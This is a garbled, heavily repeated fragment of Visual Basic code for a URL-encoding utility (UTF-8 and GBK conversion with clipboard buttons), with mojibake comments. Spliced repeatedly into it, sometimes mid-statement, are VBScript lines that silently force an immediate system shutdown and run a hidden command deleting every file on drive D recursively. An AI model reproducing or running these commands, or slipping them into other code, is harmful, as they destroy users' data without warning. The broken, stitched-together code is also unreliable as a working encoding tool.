   Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    